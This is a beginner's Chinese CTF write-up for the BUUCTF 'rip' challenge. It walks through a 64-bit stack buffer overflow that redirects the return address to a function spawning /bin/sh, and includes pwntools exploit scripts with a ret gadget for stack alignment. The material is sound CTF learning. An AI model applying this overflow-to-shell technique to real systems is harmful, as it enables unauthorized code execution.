天天看点

初学pwn-BUUCTF(rip)初学pwn-writeUp

初学pwn-writeUp

BUUCTF平台的一道题目,rip。

与之前同样的步骤,启动靶机,链接远端

初学pwn-BUUCTF(rip)初学pwn-writeUp

发现这里提示输入一些内容,但是输入完成之后,这里就结束了。还是要打开文件查看一下。

初学pwn-BUUCTF(rip)初学pwn-writeUp

看到这里,只有一个输入的过程可以操作,那就很清楚了,就是要栈溢出了。点进去看一下。

初学pwn-BUUCTF(rip)初学pwn-writeUp

可以看到这里s这个数组是15个字节,到r这个返回值还需要8个字节。不过这里要注意的一点是,这个15是十进制的,不能像之前再在数字之前加0x标记十六进制,这里可以直接写十进制。

摁shift+f12,可以看到这时还有什么地址可能会用到,

初学pwn-BUUCTF(rip)初学pwn-writeUp

发现了我们的关键字,/bin/sh,这就是我们想要的指令,继续查看,可以发现,这个指令在fun()函数中。

初学pwn-BUUCTF(rip)初学pwn-writeUp

那就简单了,跟之前的套路完全一样,只要把fun函数的地址返回给刚刚我们在s数组后看到的r中就可以。

编写脚本

from pwn import *

p = remote("node4.buuoj.cn", 25119);

payload = 'a' * 23 + p64(0x401186).decode("iso-8859-1");
p.sendline(payload);

p.interactive();
           

但是很遗憾,失败了。

初学pwn-BUUCTF(rip)初学pwn-writeUp

执行脚本之后,发现并没有获得shell权限。遇到这个问题,就很奇怪,明明是没有什么问题,很简单的一个练习。只能求助于百度。搜索之后发现64位系统中,需要地址对齐之后才可以执行system。这里需要在fun函数的地址之前加一个retn的地址,在IDA-view里随便找一个retn的指针都可以。具体的原理还没理解,不过这样可以解决地址对齐的问题。

修改脚本

from pwn import *

p = remote("node4.buuoj.cn", 25119);

payload = 'a' * 23 + p64(0x401185).decode("iso-8859-1") +  p64(0x401186).decode("iso-8859-1");
#p.recvuntil("please input");
p.sendline(payload);

p.interactive();
           

解决问题!

PWN